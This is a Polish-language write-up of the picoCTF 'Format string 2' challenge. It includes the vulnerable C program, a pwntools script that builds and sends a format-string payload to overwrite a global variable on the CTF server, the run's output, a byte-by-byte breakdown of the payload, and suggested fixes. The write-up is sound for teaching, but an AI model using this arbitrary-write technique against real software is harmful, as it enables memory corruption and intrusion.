środa, 26 lutego 2025

picoCTF - Format string 2

W tym poście chciałbym opisać rozwiązanie zadania Format String 2 z działu Binary Exploration picoCTF.


Do zadania dołączony jest plik binarny ze skompilowanym program oraz plik źródłowy. 

Przejrzę narazie plik z kodem:

  1. #include <stdio.h>
  2.  
  3. int sus = 0x21737573;
  4.  
  5. int main() {
  6.   char buf[1024];
  7.   char flag[64];
  8.  
  9.  
  10.   printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  11.   fflush(stdout);
  12.   scanf("%1024s", buf);
  13.   printf("Here's your input: ");
  14.   printf(buf);
  15.   printf("\n");
  16.   fflush(stdout);
  17.  
  18.   if (sus == 0x67616c66) {
  19.     printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
  20.  
  21.     // Read in the flag
  22.     FILE *fd = fopen("flag.txt", "r");
  23.     fgets(flag, 64, fd);
  24.  
  25.     printf("%s", flag);
  26.     fflush(stdout);
  27.   }
  28.   else {
  29.     printf("sus = 0x%x\n", sus);
  30.     printf("You can do better!\n");
  31.     fflush(stdout);
  32.   }
  33.  
  34.   return 0;
  35. }

Jak można zaobserwować powyżej wyświetlenie i odczytanie flagi następuje gdy zmienna globalna sus dostanie wartość 0x21737573. 

Aby zmodyfikować zmienną globalną należy podać jej adres, a dopiero potem wartość. Więc należy sprawdzić adres zmiennej w programie:

  1. objdump -D vuln | grep sus
  2.  
  3.   401273:       8b 05 e7 2d 00 00       mov    0x2de7(%rip),%eax        # 404060 <sus>
  4.   4012df:       8b 05 7b 2d 00 00       mov    0x2d7b(%rip),%eax        # 404060 <sus>
  5. 0000000000404060 <sus>:

Zmienna znajduje się pod adresem 404060. 

Jako wskazówka do tego zadania jest informacja, że pwntools może być przydatne do jego rozwiązania. 

W google udało mi się znaleźć taką stronę (https://docs.pwntools.com/en/dev/fmtstr.html). 

Spróbuję teraz na jej podstawie przygotować program wprowadzający poprawne wartości:

  1. from pwn import*
  2.  
  3. HOST = "rhea.picoctf.net"
  4. PORT = <port>
  5.  
  6. program = context.binary = ELF('./vuln')
  7.  
  8. def exec_fmt(payload):
  9.     p = process(program.path)
  10.     p.sendline(payload)
  11.     return p.recvall()
  12.  
  13. autofmt = FmtStr(exec_fmt)
  14. offset = autofmt.offset
  15. print(offset)
  16. print(program.symbols)
  17.  
  18. sus_address = 0x404060
  19.  
  20. p = remote(HOST, PORT)
  21. p.sendline(fmtstr_payload(offset, {sus_address: 0x67616c66}))
  22. info(p.recvall().decode())
  23. p.close()

Odpowiedź z flagą:

  1. picoctf@webshell:~/format_string2$ python fs2_1.py
  2. [*] '/home/picoctf/format_string2/vuln'
  3.     Arch:       amd64-64-little
  4.     RELRO:      Partial RELRO
  5.     Stack:      No canary found
  6.     NX:         NX enabled
  7.     PIE:        No PIE (0x400000)
  8.     SHSTK:      Enabled
  9.     IBT:        Enabled
  10.     Stripped:   No
  11. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 718
  12. [+] Receiving all data: Done (194B)
  13. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 718)
  14. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 721
  15. [+] Receiving all data: Done (191B)
  16. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 721)
  17. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 724
  18. [+] Receiving all data: Done (200B)
  19. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 724)
  20. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 727
  21. [+] Receiving all data: Done (191B)
  22. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 727)
  23. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 730
  24. [+] Receiving all data: Done (194B)
  25. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 730)
  26. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 733
  27. [+] Receiving all data: Done (200B)
  28. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 733)
  29. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 736
  30. [+] Receiving all data: Done (200B)
  31. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 736)
  32. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 739
  33. [+] Receiving all data: Done (189B)
  34. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 739)
  35. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 742
  36. [+] Receiving all data: Done (200B)
  37. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 742)
  38. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 745
  39. [+] Receiving all data: Done (200B)
  40. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 745)
  41. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 748
  42. [+] Receiving all data: Done (200B)
  43. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 748)
  44. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 751
  45. [+] Receiving all data: Done (191B)
  46. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 751)
  47. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 754
  48. [+] Receiving all data: Done (200B)
  49. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 754)
  50. [+] Starting local process '/home/picoctf/format_string2/vuln': pid 757
  51. [+] Receiving all data: Done (204B)
  52. [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 757)
  53. [*] Found format string offset: 14
  54. {'stdout': 4210792, '__abi_tag': 4195212, 'deregister_tm_clones': 4198736, 'register_tm_clones': 4198784, '__do_global_dtors_aux': 4198848, 'completed.0': 4210800, '__do_global_dtors_aux_fini_array_entry': 4210200, 'frame_dummy': 4198896, '__frame_dummy_init_array_entry': 4210192, '__FRAME_END__': 4202968, '_DYNAMIC': 4210208, '__GNU_EH_FRAME_HDR': 4202756, '_GLOBAL_OFFSET_TABLE_': 4210688, 'stdout@GLIBC_2.2.5': 4210792, 'data_start': 4210768, '_edata': 4210788, '_fini': 4199192, '__data_start': 4210768, 'sus': 4210784, '__dso_handle': 4210776, '_IO_stdin_used': 4202496, '_end': 4210808, '_dl_relocate_static_pie': 4198720, '_start': 4198672, '__bss_start': 4210788, 'main': 4198902, '__TMC_END__': 4210792, '_init': 4198400, 'putchar': 4198564, 'plt.putchar': 4198564, 'puts': 4198580, 'plt.puts': 4198580, 'printf': 4198596, 'plt.printf': 4198596, 'fgets': 4198612, 'plt.fgets': 4198612, 'fflush': 4198628, 'plt.fflush': 4198628, 'fopen': 4198644, 'plt.fopen': 4198644, '__isoc99_scanf': 4198660, 'plt.__isoc99_scanf': 4198660, '__libc_start_main': 4210672, 'got.__libc_start_main': 4210672, '__gmon_start__': 4210680, 'got.__gmon_start__': 4210680, 'got.stdout': 4210792, 'got.putchar': 4210712, 'got.puts': 4210720, 'got.printf': 4210728, 'got.fgets': 4210736, 'got.fflush': 4210744, 'got.fopen': 4210752, 'got.__isoc99_scanf': 4210760}
  55. [+] Opening connection to rhea.picoctf.net on port <port>: Done
  56. [+] Receiving all data: Done (594B)
  57. [*] Closed connection to rhea.picoctf.net port <port>
  58. [*] You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
  59.    Here's your input:                                                                                                      uc    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@
  60.     I have NO clue how you did that, you must be a wizard. Here you go...
  61.     picoCTF{<FLAGA>}

Powyższy program wysyła następujący string:

  1. b'%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00'

Mając taki string można go wysłać z pominięciem biblioteki pwn:

  1. from pwn import*
  2.  
  3. HOST = "rhea.picoctf.net"
  4. PORT = <port>
  5.  
  6. p = remote(HOST, PORT)
  7. p.sendline(b'%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaaa`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00')
  8. info(p.recvall().decode())
  9. p.close()

Dla przypomnienia adres zmiennej to 0x404060, wartość jaka ma zostać wpisana to 0x67616C66 (flag). 

Spróbuję teraz opisać dlaczego ten string wygląda w taki sposób:
  • %102c - wpisanie 102 znaków. (0x66)
  • %20$lln - wprowadzenie 102 (0x66) znaków, wyrównie do wprowadzania danych do pamięci. Zapisanie danych (%n) do 20 argumentu na stosie. Zapisywana  jest wartość 64 bitowa.
  • c - dodanie znaku, licznik 103 (0x67)
  • %21$hhn - zapis jednego bajtu danych do adresu 21 na stosie. Zapisanie 0x67.
  • %5c - dodanie 5 znaków. zwiększenie licznika do 108 (0x6C).
  • %22$hhn - zapis jednego bajtu danych do 22 argumentu na stosie.
  • %245c - zwiększenie licznika do 353 znaków (0x161)
  • %23$hhn - zapis danych do 23 argumentu na stosie. Zapis jednego bajtu danych czyli 61.
  • aaaaaa - wypełnienie, stosowane do wyrównania danych, przed podaniem adresów.
Adresy do zapisu:
  • @@\x00\x00\x00\x00\x00 - 0x60 0x40 0x40 - zapisuje 0x66
  • c@@\x00\x00\x00\x00\x00 - 0x63 0x40 0x40 - zapisuje 0x67
  • a@@\x00\x00\x00\x00\x00 - 0x61 0x40 0x40 - zapisuje 0x6C
  • b@@\x00\x00\x00\x00\x00 - 0x62 0x40 0x40 - zapisuje 0x61

Adres można też zapisać w nieco bardziej czytelnej formie:

  1. from pwn import*
  2.  
  3. HOST = "rhea.picoctf.net"
  4. PORT = 59866
  5.  
  6. p = remote(HOST, PORT)
  7. p.sendline(b'%102c%20$hhnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaaa`\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00')
  8. info(p.recvall().decode())
  9. p.close()
  10.  

Nie do końca wiem czemu pierwszy adres musi zapisany w takiej formie (\x40\x40\x00\x00\x00\x00\x00) a nie jako pełny adres (\x60\x40\x40\x00\x00\x00\x00\x00).

Co do zabezpieczenia programu przed atakiem typu format string. Należałoby wprowadzić takie modyfikacje jak:

Zamiana sposobu wyświetlenia wprowadzonych danych:

  1. printf(buf);
  2. zamienić na
  3. printf("%s", buf);

Wprowadzenie ochrony przez przepełnieniem bufora:

  1. scanf("%1024s", buf);
  2. zamienić na
  3. fgets(buf, sizeof(buf), stdin);

Zmienna sus, jest zmienną globalną. Aby utrudnić jej nadpisanie można np. zapisać ją jako const volatile, czy zapisywanie wartości w rejestrze.